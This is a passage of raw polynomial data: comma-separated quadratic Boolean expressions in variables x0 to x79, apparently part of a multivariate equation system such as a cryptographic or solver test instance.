x67*x73 + x67*x76 + x67*x77 + x67 + x68*x72 + x68*x75 + x68*x78 + x68*x79 + x68 + x69*x70 + x69*x75 + x69*x76 + x69*x77 + x69*x78 + x69*x79 + x70*x72 + x70*x76 + x70*x78 + x71*x76 + x71*x77 + x71*x79 + x71 + x72*x73 + x72*x77 + x72*x78 + x73*x77 + x73*x78 + x74*x76 + x74*x77 + x74*x78 + x74 + x76*x77 + x77 + x78*x79 + x78 + x79, x0*x1 + x0*x2 + x0*x5 + x0*x6 + x0*x8 + x0*x10 + x0*x11 + x0*x12 + x0*x13 + x0*x14 + x0*x15 + x0*x17 + x0*x19 + x0*x21 + x0*x23 + x0*x24 + x0*x27 + x0*x30 + x0*x31 + x0*x32 + x0*x34 + x0*x36 + x0*x38 + x0*x46 + x0*x47 + x0*x51 + x0*x52 + x0*x53 + x0*x56 + x0*x61 + x0*x63 + x0*x65 + x0*x66 + x0*x69 + x0*x70 + x0*x71 + x0*x72 + x0*x76 + x0*x77 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x3 + x1*x8 + x1*x9 + x1*x10 + x1*x12 + x1*x14 + x1*x15 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x21 + x1*x27 + x1*x28 + x1*x30 + x1*x31 + x1*x32 + x1*x38 + x1*x40 + x1*x41 + x1*x44 + x1*x48 + x1*x49 + x1*x51 + x1*x54 + x1*x56 + x1*x57 + x1*x58 + x1*x60 + x1*x61 + x1*x62 + x1*x64 + x1*x65 + x1*x72 + x1*x74 + x1*x75 + x1 + x2*x6 + x2*x7 + x2*x13 + x2*x15 + x2*x16 + x2*x17 + x2*x19 + x2*x21 + x2*x23 + x2*x24 + x2*x25 + x2*x28 + x2*x30 + x2*x31 + x2*x32 + x2*x36 + x2*x38 + x2*x39 + x2*x41 + x2*x45 + x2*x46 + x2*x47 + x2*x49 + x2*x53 + x2*x57 + x2*x59 + x2*x62 + x2*x63 + x2*x64 + x2*x65 + x2*x66 + x2*x69 + x2*x71 + x2*x72 + x2*x76 + x2*x77 + x2*x78 + x3*x4 + x3*x6 + x3*x7 + x3*x10 + x3*x11 + x3*x12 + x3*x17 + x3*x20 + x3*x21 + x3*x23 + x3*x24 + x3*x25 + x3*x26 + x3*x29 + x3*x35 + x3*x36 + x3*x39 + x3*x40 + x3*x41 + x3*x50 + x3*x51 + x3*x52 + x3*x53 + x3*x54 + x3*x55 + x3*x56 + x3*x58 + x3*x59 + x3*x60 + x3*x62 + x3*x64 + x3*x66 + x3*x67 + x3*x68 + x3*x69 + x3*x70 + x3*x71 + x3*x76 + x3*x77 + x3*x78 + x3 + x4*x6 + x4*x7 + x4*x9 + x4*x11 + x4*x14 + x4*x15 + x4*x16 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x22 + x4*x23 + x4*x26 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x32 + x4*x33 + x4*x38 + x4*x40 + x4*x41 + x4*x43 + x4*x46 + x4*x49 + x4*x50 + x4*x54 + x4*x56 + x4*x58 + x4*x59 + x4*x61 + x4*x62 + x4*x65 + x4*x69 + x4*x70 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x77 + x4*x78 + x4*x79 + x4 + x5*x6 + x5*x8 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x18 + x5*x19 + x5*x21 + x5*x22 + x5*x26 + x5*x27 + x5*x28 + x5*x30 + x5*x31 + x5*x32 + x5*x34 + x5*x35 + x5*x36 + x5*x43 + x5*x44 + x5*x49 + x5*x50 + x5*x51 + x5*x52 + x5*x55 + x5*x56 + x5*x58 + x5*x59 + x5*x62 + x5*x63 + x5*x64 + x5*x66 + x5*x67 + x5*x68 + x5*x69 + x5*x70 + x5*x71 + x5*x72 + x5*x74 + x5*x76 + x5*x77 + x5 + x6*x7 + x6*x8 + x6*x9 + x6*x10 + x6*x13 + x6*x14 + x6*x17 + x6*x19 + x6*x22 + x6*x24 + x6*x25 + x6*x29 + x6*x31 + x6*x32 + x6*x33 + x6*x36 + x6*x40 + x6*x42 + x6*x43 + x6*x46 + x6*x47 + x6*x50 + x6*x54 + x6*x55 + x6*x57 + x6*x60 + x6*x62 + x6*x64 + x6*x65 + x6*x66 + x6*x67 + x6*x69 + x6*x71 + x6*x74 + x6*x78 + x7*x9 + x7*x11 + x7*x14 + x7*x15 + x7*x18 + x7*x22 + x7*x23 + x7*x24 + x7*x29 + x7*x30 + x7*x31 + x7*x33 + x7*x35 + x7*x36 + x7*x37 + x7*x39 + x7*x41 + x7*x42 + x7*x44 + x7*x45 + x7*x47 + x7*x50 + x7*x51 + x7*x53 + x7*x57 + x7*x60 + x7*x64 + x7*x65 + x7*x67 + x7*x68 + x7*x73 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x7 + x8*x12 + x8*x13 + x8*x16 + x8*x19 + x8*x24 + x8*x31 + x8*x32 + x8*x33 + x8*x34 + x8*x35 + x8*x36 + x8*x37 + x8*x41 + x8*x42 + x8*x44 + x8*x46 + x8*x48 + x8*x52 + x8*x54 + x8*x55 + x8*x56 + x8*x57 + x8*x58 + x8*x61 + x8*x62 + x8*x65 + x8*x66 + x8*x68 + x8*x71 + x8*x72 + x8*x73 + x8*x75 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x9*x11 + x9*x14 + x9*x16 + x9*x17 + x9*x18 + x9*x22 + x9*x26 + x9*x29 + x9*x32 + x9*x35 + x9*x40 + x9*x41 + x9*x42 + x9*x46 + x9*x49 + x9*x52 + x9*x53 + x9*x56 + x9*x57 + x9*x58 + x9*x60 + x9*x61 + x9*x64 + x9*x67 + x9*x68 + x9*x70 + x9*x71 + x9*x74 + x9*x75 + x9*x77 + x9*x79 + x9 + x10*x12 + x10*x14 + x10*x15 + x10*x16 + x10*x17 + x10*x18 + x10*x21 + x10*x22 + x10*x23 + x10*x28 + x10*x29 + x10*x30 + x10*x32 + x10*x35 + x10*x38 + x10*x42 + x10*x43 + x10*x44 + x10*x45 + x10*x46 + x10*x47 + x10*x48 + x10*x49 + x10*x50 + x10*x51 + x10*x52 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x62 + x10*x67 + x10*x68 + x10*x74 + x10*x75 + x10*x76 + x10*x78 + x10*x79 + x10 + x11*x12 + x11*x13 + x11*x15 + x11*x28 + x11*x29 + x11*x30 + x11*x31 + x11*x32 + x11*x35 + x11*x37 + x11*x38 + x11*x45 + x11*x49 + x11*x53 + x11*x54 + x11*x60 + x11*x64 + x11*x68 + x11*x71 + x11*x72 + x11*x74 + x11*x75 + x11*x76 + x11*x77 + x11*x78 + x11*x79 + x11 + x12*x13 + x12*x15 + x12*x18 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x24 + x12*x25 + x12*x26 + x12*x29 + x12*x31 + x12*x34 + x12*x35 + x12*x37 + x12*x38 + x12*x40 + x12*x41 + x12*x45 + x12*x46 + x12*x47 + x12*x51 + x12*x52 + x12*x54 + x12*x55 + x12*x56 + x12*x58 + x12*x59 + x12*x61 + x12*x62 + x12*x64 + x12*x65 + x12*x67 + x12*x71 + x12*x73 + x12*x75 + x12*x77 + x12 + x13*x14 + x13*x17 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x26 + x13*x27 + x13*x28 + x13*x31 + x13*x32 + x13*x33 + x13*x35 + x13*x36 + x13*x37 + x13*x38 + x13*x41 + x13*x45 + x13*x49 + x13*x50 + x13*x53 + x13*x54 + x13*x55 + x13*x57 + x13*x58 + x13*x59 + x13*x61 + x13*x63 + x13*x64 + x13*x65 + x13*x67 + x13*x70 + x13*x71 + x13*x72 + x13*x79 + x13 + x14*x15 + x14*x16 + x14*x18 + x14*x19 + x14*x21 + x14*x22 + x14*x24 + x14*x28 + x14*x32 + x14*x33 + x14*x34 + x14*x36 + x14*x37 + x14*x40 + x14*x43 + x14*x44 + x14*x46 + x14*x47 + x14*x48 + x14*x50 + x14*x61 + x14*x62 + x14*x63 + x14*x66 + x14*x67 + x14*x68 + x14*x71 + x14*x73 + x14*x74 + x14*x75 + x14*x77 + x14*x78 + x14*x79 + x15*x17 + x15*x25 + x15*x26 + x15*x30 + x15*x32 + x15*x36 + x15*x37 + x15*x40 + x15*x42 + x15*x43 + x15*x44 + x15*x45 + x15*x47 + x15*x49 + x15*x50 + x15*x51 + x15*x52 + x15*x55 + x15*x58 + x15*x59 + x15*x60 + x15*x62 + x15*x64 + x15*x65 + x15*x66 + x15*x67 + x15*x76 + x15 + x16*x20 + x16*x21 + x16*x22 + x16*x23 + x16*x25 + x16*x28 + x16*x30 + x16*x35 + x16*x42 + x16*x45 + x16*x46 + x16*x47 + x16*x49 + x16*x50 + x16*x51 + x16*x52 + x16*x53 + x16*x54 + x16*x55 + x16*x57 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x64 + x16*x65 + x16*x66 + x16*x74 + x16*x76 + x17*x25 + x17*x26 + x17*x27 + x17*x31 + x17*x34 + x17*x35 + x17*x39 + x17*x42 + x17*x45 + x17*x47 + x17*x49 + x17*x52 + x17*x56 + x17*x58 + x17*x59 + x17*x60 + x17*x68 + x17*x70 + x17*x71 + x17*x74 + x17*x76 + x17*x77 + x17*x79 + x18*x22 + x18*x28 + x18*x39 + x18*x40 + x18*x43 + x18*x44 + x18*x46 + x18*x47 + x18*x49 + x18*x50 + x18*x54 + x18*x56 + x18*x57 + x18*x58 + x18*x63 + x18*x64 + x18*x65 + x18*x72 + x18*x74 + x18*x76 + x19*x20 + x19*x22 + x19*x23 + x19*x25 + x19*x27 + x19*x28 + x19*x31 + x19*x32 + x19*x34 + x19*x35 + x19*x38 + x19*x40 + x19*x42 + x19*x45 + x19*x47 + x19*x49 + x19*x50 + x19*x52 + x19*x55 + x19*x56 + x19*x57 + x19*x58 + x19*x59 + x19*x60 + x19*x61 + x19*x62 + x19*x64 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x70 + x19*x71 + x19*x72 + x19*x73 + x19*x77 + x19*x78 + x19*x79 + x19 + x20*x24 + x20*x25 + x20*x26 + x20*x27 + x20*x28 + x20*x29 + x20*x30 + x20*x31 + x20*x32 + x20*x33 + x20*x35 + x20*x36 + x20*x39 + x20*x41 + x20*x43 + x20*x47 + x20*x48 + x20*x49 + x20*x50 + x20*x51 + x20*x52 + x20*x54 + x20*x61 + x20*x67 + x20*x69 + x20*x70 + x20*x72 + x20*x74 + x20*x75 + x20*x76 + x20 + x21*x22 + x21*x24 + x21*x25 + x21*x31 + x21*x33 + x21*x34 + x21*x38 + x21*x39 + x21*x40 + x21*x41 + x21*x42 + x21*x48 + x21*x50 + x21*x51 + x21*x52 + x21*x53 + x21*x54 + x21*x55 + x21*x56 + x21*x57 + x21*x58 + x21*x59 + x21*x60 + x21*x64 + x21*x65 + x21*x66 + x21*x67 + x21*x68 + x21*x69 + x21*x72 + x21*x73 + x21*x76 + x21*x77 + x21*x79 + x21 + x22*x23 + x22*x26 + x22*x29 + x22*x36 + x22*x37 + x22*x38 + x22*x41 + x22*x42 + x22*x46 + x22*x47 + x22*x49 + x22*x54 + x22*x55 + x22*x57 + x22*x60 + x22*x64 + x22*x67 + x22*x68 + x22*x73 + x22*x74 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x32 + x23*x33 + x23*x34 + x23*x36 + x23*x39 + x23*x40 + x23*x41 + x23*x43 + x23*x44 + x23*x48 + x23*x49 + x23*x51 + x23*x52 + x23*x59 + x23*x61 + x23*x62 + x23*x66 + x23*x68 + x23*x69 + x23*x75 + x23*x77 + x23*x78 + x23*x79 + x24*x28 + x24*x29 + x24*x30 + x24*x31 + x24*x33 + x24*x34 + x24*x35 + x24*x36 + x24*x37 + x24*x38 + x24*x41 + x24*x42 + x24*x44 + x24*x45 + x24*x46 + x24*x48 + x24*x51 + x24*x52 + x24*x54 + x24*x55 + x24*x56 + x24*x58 + x24*x62 + x24*x67 + x24*x69 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x24*x74 + x24*x78 + x24 + x25*x26 + x25*x31 + x25*x32 + x25*x34 + x25*x36 + x25*x37 + x25*x40 + x25*x43 + x25*x47 + x25*x49 + x25*x50 + x25*x52 + x25*x53 + x25*x54 + x25*x55 + x25*x56 + x25*x59 + x25*x64 + x25*x67 + x25*x68 + x25*x69 + x25*x71 + x25*x75 + x25*x77 + x25*x78 + x26*x28 + x26*x29 + x26*x34 + x26*x35 + x26*x36 + x26*x40 + x26*x44 + x26*x46 + x26*x47 + x26*x48 + x26*x49 + x26*x51 + x26*x52 + x26*x53 + x26*x55 + x26*x56 + x26*x57 + x26*x58 + x26*x60 + x26*x62 + x26*x63 + x26*x65 + x26*x70 + x26*x73 + x26*x76 + x26*x77 + x26*x79 + x27*x29 + x27*x34 + x27*x36 + x27*x38 + x27*x41 + x27*x42 + x27*x45 + x27*x46 + x27*x48 + x27*x53 + x27*x55 + x27*x56 + x27*x60 + x27*x62 + x27*x64 + x27*x65 + x27*x66 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x73 + x27*x77 + x27*x78 + x27*x79 + x27 + x28*x29 + x28*x43 + x28*x47 + x28*x49 + x28*x50 + x28*x51 + x28*x52 + x28*x54 + x28*x55 + x28*x56 + x28*x60 + x28*x61 + x28*x64 + x28*x65 + x28*x66 + x28*x67 + x28*x68 + x28*x69 + x28*x71 + x29*x30 + x29*x31 + x29*x32 + x29*x33 + x29*x35 + x29*x36 + x29*x38 + x29*x40 + x29*x42 + x29*x43 + x29*x46 + x29*x47 + x29*x48 + x29*x50 + x29*x52 + x29*x53 + x29*x56 + x29*x57 + x29*x61 + x29*x62 + x29*x67 + x29*x69 + x29*x71 + x29*x74 + x29*x76 + x29*x79 + x30*x31 + x30*x32 + x30*x33 + x30*x34 + x30*x35 + x30*x36 + x30*x39 + x30*x43 + x30*x44 + x30*x45 + x30*x49 + x30*x50 + x30*x51 + x30*x53 + x30*x54 + x30*x55 + x30*x58 + x30*x60 + x30*x61 + x30*x69 + x30*x71 + x30*x72 + x30*x73 + x31*x33 + x31*x34 + x31*x35 + x31*x36 + x31*x38 + x31*x41 + x31*x42 + x31*x44 + x31*x45 + x31*x46 + x31*x53 + x31*x54 + x31*x55 + x31*x59 + x31*x61 + x31*x62 + x31*x67 + x31*x69 + x31*x71 + x31*x72 + x31*x75 + x32*x35 + x32*x37 + x32*x39 + x32*x40 + x32*x42 + x32*x43 + x32*x45 + x32*x47 + x32*x49 + x32*x51 + x32*x56 + x32*x57 + x32*x58 + x32*x59 + x32*x60 + x32*x62 + x32*x65 + x32*x66 + x32*x70 + x32*x72 + x32*x73 + x32*x74 + x32*x75 + x32*x76 + x32*x77 + x33*x36 + x33*x37 + x33*x38 + x33*x40 + x33*x41 + x33*x44 + x33*x45 + x33*x46 + x33*x48 + x33*x49 + x33*x52 + x33*x53 + x33*x54 + x33*x56 + x33*x58 + x33*x63 + x33*x66 + x33*x67 + x33*x68 + x33*x69 + x33*x70 + x33*x72 + x33*x74 + x33*x76 + x33*x77 + x33*x79 + x33 + x34*x40 + x34*x41 + x34*x43 + x34*x44 + x34*x46 + x34*x47 + x34*x48 + x34*x56 + x34*x58 + x34*x59 + x34*x61 + x34*x63 + x34*x65 + x34*x66 + x34*x67 + x34*x68 + x34*x72 + x34*x73 + x34*x77 + x34*x78 + x35*x36 + x35*x37 + x35*x40 + x35*x42 + x35*x44 + x35*x47 + x35*x50 + x35*x53 + x35*x54 + x35*x55 + x35*x57 + x35*x58 + x35*x60 + x35*x62 + x35*x65 + x35*x68 + x35*x75 + x35*x76 + x35*x77 + x35*x78 + x35*x79 + x36*x38 + x36*x44 + x36*x46 + x36*x49 + x36*x50 + x36*x51 + x36*x54 + x36*x55 + x36*x57 + x36*x59 + x36*x61 + x36*x62 + x36*x64 + x36*x65 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36*x79 + x37*x41 + x37*x42 + x37*x44 + x37*x45 + x37*x46 + x37*x49 + x37*x50 + x37*x52 + x37*x56 + x37*x57 + x37*x65 + x37*x67 + x37*x70 + x37*x76 + x37*x77 + x38*x39 + x38*x40 + x38*x42 + x38*x46 + x38*x47 + x38*x48 + x38*x49 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x60 + x38*x61 + x38*x63 + x38*x65 + x38*x66 + x38*x67 + x38*x68 + x38*x71 + x38*x76 + x38*x78 + x38 + x39*x40 + x39*x43 + x39*x46 + x39*x47 + x39*x48 + x39*x49 + x39*x52 + x39*x54 + x39*x55 + x39*x56 + x39*x58 + x39*x59 + x39*x60 + x39*x61 + x39*x62 + x39*x65 + x39*x67 + x39*x69 + x39*x70 + x39*x71 + x39*x72 + x39*x74 + x39*x79 + x39 + x40*x41 + x40*x42 + x40*x43 + x40*x44 + x40*x45 + x40*x51 + x40*x53 + x40*x55 + x40*x56 + x40*x57 + x40*x58 + x40*x60 + x40*x62 + x40*x63 + x40*x65 + x40*x68 + x40*x70 + x40*x72 + x40*x78 + x40 + x41*x45 + x41*x48 + x41*x50 + x41*x51 + x41*x53 + x41*x55 + x41*x62 + x41*x66 + x41*x69 + x41*x72 + x41*x73 + x41*x74 + x41*x77 + x42*x44 + x42*x46 + x42*x49 + x42*x53 + x42*x54 + x42*x55 + x42*x56 + x42*x57 + x42*x61 + x42*x63 + x42*x64 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x71 + x42*x73 + x42*x74 + x42*x79 + x43*x44 + x43*x45 + x43*x47 + x43*x49 + x43*x53 + x43*x54 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x60 + x43*x61 + x43*x62 + x43*x64 + x43*x66 + x43*x69 + x43*x70 + x43*x72 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x44*x45 + x44*x48 + x44*x51 + x44*x52 + x44*x56 + x44*x58 + x44*x59 + x44*x62 + x44*x63 + x44*x64 + x44*x67 + x44*x68 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x74 + x44*x78 + x44*x79 + x44 + x45*x48 + x45*x50 + x45*x51 + x45*x52 + x45*x54 + x45*x57 + x45*x58 + x45*x59 + x45*x60 + x45*x62 + x45*x64 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x70 + x45*x71 + x45*x77 + x45*x78 + x45 + x46*x47 + x46*x49 + x46*x50 + x46*x55 + x46*x59 + x46*x60 + x46*x62 + x46*x64 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x78 + x46*x79 + x47*x48 + x47*x49 + x47*x50 + x47*x51 + x47*x52 + x47*x54 + x47*x56 + x47*x57 + x47*x60 + x47*x62 + x47*x64 + x47*x65 + x47*x69 + x47*x70 + x47*x72 + x47*x77 + x47 + x48*x51 + x48*x52 + x48*x54 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x61 + x48*x64 + x48*x65 + x48*x68 + x48*x69 + x48*x71 + x48*x75 + x48*x77 + x48*x78 + x48*x79 + x49*x50 + x49*x53 + x49*x56 + x49*x58 + x49*x59 + x49*x65 + x49*x66 + x49*x69 + x49*x71 + x49*x72 + x49*x73 + x49*x75 + x49*x76 + x49*x79 + x50*x52 + x50*x54 + x50*x56 + x50*x59 + x50*x60 + x50*x61 + x50*x70 + x50*x71 + x50*x72 + x50*x74 + x50*x77 + x50*x78 + x50*x79 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x56 + x51*x59 + x51*x63 + x51*x65 + x51*x68 + x51*x74 + x51*x78 + x52*x59 + x52*x65 + x52*x66 + x52*x67 + x52*x69 + x52*x70 + x52*x71 + x52*x72 + x52*x73 + x52*x75 + x52*x76 + x52*x78 + x52*x79 + x52 + x53*x56 + x53*x58 + x53*x59 + x53*x63 + x53*x65 + x53*x66 + x53*x71 + x53*x72 + x53*x73 + x53*x76 + x53*x77 + x53*x79 + x54*x63 + x54*x64 + x54*x69 + x54*x72 + x54*x73 + x54*x75 + x54*x76 + x54*x77 + x54*x78 + x54*x79 + x55*x62 + x55*x64 + x55*x65 + x55*x68 + x55*x70 + x55*x71 + x55*x74 + x55*x76 + x55*x78 + x55*x79 + x56*x58 + x56*x60 + x56*x65 + x56*x66 + x56*x69 + x56*x76 + x57*x59 + x57*x62 + x57*x64 + x57*x65 + x57*x67 + x57*x69 + x57*x71 + x57*x72 + x57*x73 + x57*x75 + x58*x59 + x58*x60 + x58*x61 + x58*x64 + x58*x65 + x58*x68 + x58*x70 + x58*x71 + x58*x76 + x58*x77 + x58*x78 + x58*x79 + x58 + x59*x61 + x59*x63 + x59*x65 + x59*x68 + x59*x69 + x59*x70 + x59*x71 + x59*x74 + x59*x76 + x60*x61 + x60*x68 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x60 + x61*x62 + x61*x63 + x61*x65 + x61*x66 + x61*x68 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x74 + x61*x77 + x61*x78 + x61*x79 + x61 + x62*x66 + x62*x67 + x62*x70 + x62*x71 + x62*x75 + x62*x77 + x62 + x63*x64 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x69 + x63*x70 + x63*x71 + x63*x73 + x63*x74 + x63*x77 + x63 + x64*x65 + x64*x68 + x64*x69 + x64*x77 + x64*x79 + x65*x66 + x65*x68 + x65*x69 + x65*x73 + x65*x74 + x65*x76 + x65*x77 + x65*x78 + x66*x68 + x66*x70 + x66*x73 + x66*x74 + x66*x75 + x66*x76 + x66*x77 + x66*x78 + x66*x79 + x67*x69 + x67*x70 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x77 + x67*x78 + x67*x79 + x68*x70 + x68*x71 + x68*x72 + x68*x73 + x68*x74 + x68*x76 + x68*x78 + x68*x79 + x69*x70 + x69*x73 + x69*x75 + x70*x76 + x70*x77 + x71*x73 + x71*x75 + x71*x78 + x72*x73 + x72*x78 + x72*x79 + x73*x74 + x73*x75 + x73*x79 + x73 + x74*x75 + x74*x76 + x74*x79 + x75*x76 + x75*x79 + x76*x77 + x76*x78 + x76 + x77*x79 + x78*x79 + x78 + 1, x0*x3 + x0*x4 + x0*x7 + x0*x9 + x0*x11 + x0*x12 + x0*x13 + x0*x15 + x0*x16 + x0*x19 + x0*x22 + x0*x24 + x0*x26 + x0*x31 + x0*x33 + x0*x36 + x0*x37 + x0*x41 + x0*x45 + x0*x47 + x0*x48 + x0*x49 + x0*x53 + x0*x54 + x0*x56 + x0*x58 + x0*x61 + x0*x64 + x0*x65 + x0*x66 + x0*x69 + x0*x71 + x0*x72 + x0*x73 + x0*x75 + x0*x77 + x0*x78 + x0*x79 + x1*x2 + x1*x3 + x1*x4 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x9 + x1*x10 + x1*x11 + x1*x12 + x1*x13 + x1*x15 + x1*x17 + x1*x25 + x1*x27 + x1*x28 + x1*x32 + x1*x33 + x1*x35 + x1*x38 + x1*x40 + x1*x41 + x1*x42 + x1*x49 + x1*x50 + x1*x53 + x1*x56 + x1*x57 + x1*x60 + x1*x61 + x1*x62 + x1*x64 + x1*x65 + x1*x66 + x1*x69 + x1*x73 + x1*x75 + x1*x77 + x1*x79 + x1 + x2*x3 + x2*x4 + x2*x7 + x2*x8 + x2*x9 + x2*x12 + x2*x14 + x2*x15 + x2*x16 + x2*x20 + x2*x21 + x2*x24 + x2*x25 + x2*x26 + x2*x27 + x2*x28 + x2*x29 + x2*x30 + x2*x33 + x2*x34 + x2*x37 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x43 + x2*x44 + x2*x46 + x2*x49 + x2*x53 + x2*x54 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x63 + x2*x65 + x2*x72 + x3*x5 + x3*x6 + x3*x8 + x3*x11 + x3*x12 + x3*x14 + x3*x16 + x3*x17 + x3*x21 + x3*x23 + x3*x24 + x3*x25 + x3*x28 + x3*x30 + x3*x31 + x3*x33 + x3*x34 + x3*x36 + x3*x37 + x3*x40 + x3*x41 + x3*x42 + x3*x44 + x3*x46 + x3*x48 + x3*x53 + x3*x56 + x3*x60 + x3*x63 + x3*x64 + x3*x66 + x3*x67 + x3*x68 + x3*x70 + x3*x72 + x3*x73 + x3*x74 + x3*x76 + x3*x78 + x3 + x4*x7 + x4*x10 + x4*x14 + x4*x15 + x4*x16 + x4*x20 + x4*x21 + x4*x22 + x4*x26 + x4*x28 + x4*x33 + x4*x34 + x4*x37 + x4*x38 + x4*x39 + x4*x41 + x4*x42 + x4*x47 + x4*x48 + x4*x50 + x4*x51 + x4*x53 + x4*x54 + x4*x58 + x4*x59 + x4*x63 + x4*x64 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x75 + x4*x77 + x4*x78 + x5*x6 + x5*x7 + x5*x8 + x5*x10 + x5*x11 + x5*x13 + x5*x17 + x5*x20 + x5*x21 + x5*x23 + x5*x26 + x5*x29 + x5*x33 + x5*x34 + x5*x35 + x5*x38 + x5*x40 + x5*x44 + x5*x46 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x52 + x5*x53 + x5*x55 + x5*x56 + x5*x58 + x5*x59 + x5*x63 + x5*x65 + x5*x67 + x5*x68 + x5*x69 + x5*x70 + x5*x73 + x5*x75 + x5*x77 + x5*x78 + x5 + x6*x7 + x6*x11 + x6*x12 + x6*x13 + x6*x15 + x6*x18 + x6*x19 + x6*x22 + x6*x24 + x6*x26 + x6*x27 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x35 + x6*x36 + x6*x39 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x44 + x6*x45 + x6*x47 + x6*x48 + x6*x49 + x6*x50 + x6*x52 + x6*x53 + x6*x54 + x6*x55 + x6*x58 + x6*x60 + x6*x61 + x6*x62 + x6*x63 + x6*x67 + x6*x68 + x6*x69 + x6*x71 + x6*x72 + x6*x73 + x6*x75 + x7*x9 + x7*x13 + x7*x19 + x7*x20 + x7*x21 + x7*x23 + x7*x24 + x7*x25 + x7*x26 + x7*x27 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x37 + x7*x43 + x7*x46 + x7*x48 + x7*x49 + x7*x50 + x7*x51 + x7*x53 + x7*x54 + x7*x56 + x7*x59 + x7*x61 + x7*x67 + x7*x68 + x7*x70 + x7*x71 + x7*x72 + x7*x76 + x7*x77 + x7*x78 + x8*x9 + x8*x10 + x8*x11 + x8*x15 + x8*x16 + x8*x18 + x8*x19 + x8*x20 + x8*x21 + x8*x22 + x8*x26 + x8*x27 + x8*x29 + x8*x31 + x8*x33 + x8*x34 + x8*x35 + x8*x36 + x8*x37 + x8*x39 + x8*x40 + x8*x45 + x8*x47 + x8*x50 + x8*x51 + x8*x55 + x8*x56 + x8*x57 + x8*x60 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x68 + x8*x71 + x8*x73 + x8*x79 + x8 + x9*x12 + x9*x13 + x9*x14 + x9*x16 + x9*x17 + x9*x19 + x9*x21 + x9*x22 + x9*x24 + x9*x26 + x9*x29 + x9*x30 + x9*x31 + x9*x35 + x9*x37 + x9*x38 + x9*x39 + x9*x40 + x9*x41 + x9*x42 + x9*x44 + x9*x45 + x9*x46 + x9*x47 + x9*x49 + x9*x51 + x9*x53 + x9*x54 + x9*x58 + x9*x60 + x9*x61 + x9*x62 + x9*x63 + x9*x64 + x9*x66 + x9*x67 + x9*x68 + x9*x69 + x9*x70 + x9*x72 + x9*x73 + x9*x74 + x9*x76 + x9*x77 + x9*x78 + x10*x11 + x10*x12 + x10*x16 + x10*x17 + x10*x21 + x10*x22 + x10*x25 + x10*x28 + x10*x30 + x10*x32 + x10*x36 + x10*x37 + x10*x38 + x10*x39 + x10*x40 + x10*x42 + x10*x44 + x10*x45 + x10*x46 + x10*x48 + x10*x49 + x10*x51 + x10*x52 + x10*x53 + x10*x56 + x10*x58 + x10*x60 + x10*x61 + x10*x63 + x10*x68 + x10*x71 + x10*x72 + x10*x74 + x10*x75 + x10*x78 + x10*x79 + x11*x14 + x11*x16 + x11*x20 + x11*x21 + x11*x22 + x11*x25 + x11*x29 + x11*x33 + x11*x34 + x11*x35 + x11*x36 + x11*x38 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x45 + x11*x46 + x11*x47 + x11*x50 + x11*x53 + x11*x55 + x11*x61 + x11*x63 + x11*x64 + x11*x65 + x11*x67 + x11*x68 + x11*x69 + x11*x72 + x11*x74 + x11*x78 + x12*x13 + x12*x15 + x12*x16 + x12*x17 + x12*x19 + x12*x20 + x12*x21 + x12*x23 + x12*x24 + x12*x26 + x12*x27 + x12*x28 + x12*x30 + x12*x31 + x12*x33 + x12*x34 + x12*x35 + x12*x36 + x12*x38 + x12*x44 + x12*x47 + x12*x48 + x12*x50 + x12*x54 + x12*x57 + x12*x58 + x12*x60 + x12*x61 + x12*x62 + x12*x63 + x12*x64 + x12*x65 + x12*x66 + x12*x67 + x12*x71 + x12*x72 + x12*x76 + x12*x77 + x12*x78 + x12*x79 + x13*x14 + x13*x16 + x13*x17 + x13*x24 + x13*x25 + x13*x26 + x13*x30 + x13*x31 + x13*x33 + x13*x35 + x13*x36 + x13*x39 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x46 + x13*x47 + x13*x54 + x13*x55 + x13*x58 + x13*x61 + x13*x62 + x13*x63 + x13*x64 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x69 + x13*x72 + x13*x73 + x13*x74 + x13*x75 